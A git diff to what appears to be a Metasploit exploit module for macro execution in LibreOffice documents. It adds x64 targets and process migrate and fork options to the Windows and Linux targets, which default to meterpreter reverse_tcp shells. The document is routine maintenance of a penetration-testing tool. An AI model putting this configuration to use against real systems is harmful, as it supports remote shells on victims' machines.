diff --git a/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb b/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb
index 8d36a04bd3db..ab17b98973f2 100644
--- a/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb
+++ b/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb
@@ -46,17 +46,19 @@ def initialize(info = {})
             'Windows',
             {
               'Platform'        =>  'win',
-              'Arch'            =>  ARCH_X86,
-              'Payload'         =>  'windows/meterpreter/reverse_tcp'
+              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],
+              'Payload'         =>  'windows/meterpreter/reverse_tcp',
+              'DefaultOptions'  =>  { 'PrependMigrate'  =>  true }
             }
           ],
           [
             'Linux',
             {
               'Platform'        =>  'linux',
-              'Arch'            =>  ARCH_X86,
+              'Arch'            =>  [ ARCH_X86, ARCH_X64 ],
               'Payload'         =>  'linux/x86/meterpreter/reverse_tcp',
-              'CmdStagerFlavor' =>  'printf'
+              'DefaultOptions'  =>  { 'PrependFork' =>  true },
+              'CmdStagerFlavor' =>  'printf',
             }
           ]
         ],